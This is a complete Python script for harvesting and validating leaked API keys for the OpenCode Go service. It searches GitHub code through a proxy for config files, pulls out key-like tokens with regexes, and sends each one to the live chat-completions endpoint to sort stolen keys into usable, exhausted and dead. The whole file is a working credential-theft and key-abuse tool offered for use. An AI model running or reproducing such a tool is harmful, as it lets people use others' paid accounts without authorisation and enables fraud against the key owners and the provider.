#!/usr/bin/env python3 """Targeted hunter for Anomaly OpenCode Go keys (https://opencode.ai/go). OpenCode Go is a subscription aggregator exposing Grok 4.5 / GLM 5.2 / 5.1 via an OpenAI-compatible endpoint. Keys live in opencode.json / .opencode configs and env vars ANOMALY_API_KEY / OPENCODE_GO_KEY. GitHub via GH_PROXY (GFW blocked). Verification DIRECT against https://opencode.ai/zen/go/v1 (the real Anomaly OpenCode Go base, discovered in the codex-shim opencode_go client; the old api.opencode.ai/v1 is dead). The /models list is public; a bad key returns 401 {"error":{"message":"Invalid API key."}}. Only 401 (or invalid-key 400) = DEAD; 200+choices = USABLE; 402/429/quota = NO_BALANCE (plan exists but exhausted). """ import json, os, re, sys, time, urllib.parse, urllib.request, urllib.error from concurrent.futures import ThreadPoolExecutor, as_completed from pathlib import Path sys.path.insert(0, str(Path(__file__).resolve().parent)) from verify_cache import CachedVerifier HERE = Path(__file__).resolve().parent OUT = HERE / "results" / "opencode" OUT.mkdir(parents=True, exist_ok=True) GH_PROXY = os.environ.get("GH_PROXY", "http://114.111.19.228:3389") TOKEN = (os.environ.get("GITHUB_TOKEN") or os.environ.get("GH_TOKEN") or os.popen("gh auth token 2>/dev/null").read().strip()) GH_OPENER = (urllib.request.build_opener( urllib.request.ProxyHandler({"http": GH_PROXY, "https": GH_PROXY})) if GH_PROXY else urllib.request.build_opener()) DIRECT = urllib.request.build_opener() # ── Search queries: focus on opencode config files & the provider ── QUERIES = [ '"opencode.ai/zen/go"', '"zen/go/v1"', "OPENCODE_GO_API_KEY", "OPENCODE_GO_KEY", "ANOMALY_API_KEY", '"opencode-go" sk-', "filename:opencode.json", "filename:opencode.jsonc", '"opencode.ai" extension:json', '"opencode zen" apiKey extension:json', ] # OpenCode keys are opaque. In opencode.json they appear under a provider's # "key"/"apiKey" field near an opencode baseURL. Harvest broad key-like tokens # but require opencode/anomaly context within the file. KEY_PATTERNS = [ re.compile(r"sk-[A-Za-z0-9_\-]{32,}"), re.compile(r"\b[A-Za-z0-9]{40,}\b"), ] CONTEXT = ("opencode", "anomaly", "zen/go", "opencode.ai/go", "opencode-go", "opencode_go") FAKE = ("xxxx", "your-", "example", "1234567890", "replace", "changeme", "placeholder", "your_opencode", "sk-test", "opencode-go-key", "map-", "implement-", "deactivat") def gh_code_search(query, max_results=100): out = [] for page in range(1, 4): url = ("https://api.github.com/search/code?" + urllib.parse.urlencode({"q": query, "per_page": 100, "page": page})) req = urllib.request.Request(url, headers={ "Authorization": "token " + TOKEN, "Accept": "application/vnd.github+json", "User-Agent": "opencode-hunter/1.0"}) try: with GH_OPENER.open(req, timeout=30) as r: data = json.loads(r.read()) except urllib.error.HTTPError as e: if e.code in (403, 429): reset = e.headers.get("X-RateLimit-Reset") wait = min(max(int(reset) - int(time.time()) + 2, 2), 120) if reset else 30 time.sleep(wait) continue if e.code == 422: break time.sleep(5) continue except Exception: time.sleep(5) continue items = data.get("items", []) for it in items: out.append((it["repository"]["full_name"], it["path"], it["html_url"])) if len(items) < 100: break time.sleep(6.5) # code search ~10/min return out[:max_results] def fetch_raw(repo, path): for ref in ("HEAD", "main", "master"): url = f"https://raw.githubusercontent.com/{repo}/{ref}/{path}" req = urllib.request.Request(url, headers={"User-Agent": "opencode-hunter/1.0"}) try: with GH_OPENER.open(req, timeout=25) as r: return r.read().decode("utf-8", "replace") except urllib.error.HTTPError as e: if e.code == 404: continue return "" except Exception: continue return "" def harvest(text): if not text: return set() low = text.lower() # file must mention opencode/anomaly at all if not any(c in low for c in CONTEXT): return set() found = set() for rx in KEY_PATTERNS: for m in rx.finditer(text): k = m.group(0) kl = k.lower() if any(f in kl for f in FAKE): continue # require a context marker nearby lo = max(0, m.start() - 120) hi = min(len(low), m.end() + 120) if not any(c in low[lo:hi] for c in CONTEXT): continue found.add(k) return found def verify(key): base = "https://opencode.ai/zen/go/v1" for model in ("grok-4.5", "glm-5.2", "glm-5.1", "minimax-m3", "kimi-k3", "deepseek-v4-flash"): body = json.dumps({ "model": model, "messages": [{"role": "user", "content": "reply with the word ok"}], "max_tokens": 16, "temperature": 0.01, }).encode() req = urllib.request.Request( base + "/chat/completions", data=body, headers={"Authorization": "Bearer " + key, "Content-Type": "application/json"}) try: with DIRECT.open(req, timeout=40) as r: d = json.loads(r.read()) if d.get("choices"): return "USABLE", f"{model} 200 choices" return "USABLE", f"{model} 200 (no choices)" except urllib.error.HTTPError as e: try: j = json.loads(e.read()) msg = (j.get("error", {}) if isinstance(j.get("error"), dict) else {}).get("message", str(j))[:120] except Exception: msg = "" code = e.code if code == 401: return "DEAD", f"401 {msg}" if code in (402, 429): return "NO_BALANCE", f"{model} {code} {msg}" if code == 400 and any(w in msg.lower() for w in ("invalid", "auth", "api key", "unauthor")): return "DEAD", f"400 {msg}" if code == 404: continue # model not supported, try next if code == 400: return "NO_ACCESS", f"{model} 400 {msg}" last = f"{model} {code} {msg}" except Exception as e: last = f"net {type(e).__name__}" return "UNKNOWN", locals().get("last", "all models exhausted") def main(): import argparse ap = argparse.ArgumentParser() ap.add_argument("--search", action="store_true") ap.add_argument("--verify", action="store_true") ap.add_argument("--workers", type=int, default=16) args = ap.parse_args() cand = OUT / "candidates.tsv" if args.search: seen = set() if cand.exists(): for ln in cand.read_text().splitlines(): p = ln.split("\t") if len(p) >= 3: seen.add(p[2]) print(f"proxy={GH_PROXY} token={'yes' if TOKEN else 'NO'}") for q in QUERIES: res = gh_code_search(q) new = [r for r in res if r[2] not in seen] for repo, path, url in new: seen.add(url) with cand.open("a") as f: f.write(f"{repo}\t{path}\t{url}\n") print(f" {q:42} {len(res):3} hits, {len(new):3} new", flush=True) time.sleep(2) print(f"candidate files -> {cand}") if args.verify: if not cand.exists(): print("no candidates.tsv (run --search first)") return files = [ln.rstrip("\n").split("\t") for ln in cand.read_text().splitlines() if ln.strip()] print(f"harvesting {len(files)} files...") keys = {} for i, (repo, path, url) in enumerate(files): for k in harvest(fetch_raw(repo, path)): keys.setdefault(k, url) if (i + 1) % 25 == 0: print(f" {i+1}/{len(files)} keys={len(keys)}", flush=True) time.sleep(0.15) print(f"harvested {len(keys)} unique candidate keys") buckets = {k: [] for k in ("USABLE", "NO_BALANCE", "NO_ACCESS", "UNKNOWN", "DEAD")} with CachedVerifier("opencode", verify) as ver: with ThreadPoolExecutor(max_workers=args.workers) as ex: futs = {ex.submit(ver, k): (k, s) for k, s in keys.items()} done = 0 for fut in as_completed(futs): k, s = futs[fut]; done += 1 try: v, d = fut.result() except Exception as e: v, d = "UNKNOWN", f"exc:{e}" buckets[v].append((k, s, d)) if done % 20 == 0: print(f" {done}/{len(keys)} usable={len(buckets['USABLE'])} " f"nobal={len(buckets['NO_BALANCE'])} dead={len(buckets['DEAD'])}", flush=True) for label in buckets: with (OUT / f"{label.lower()}.txt").open("w") as f: for k, s, d in buckets[label]: f.write(f"{k}\t{s}\t{d}\n") print() for label in ("USABLE", "NO_BALANCE", "NO_ACCESS", "UNKNOWN", "DEAD"): print(f" {label:11}: {len(buckets[label])}") for k, s, d in buckets["USABLE"]: print(f" ✅ {k[:60]} {d}") print(f" {s}") if __name__ == "__main__": main()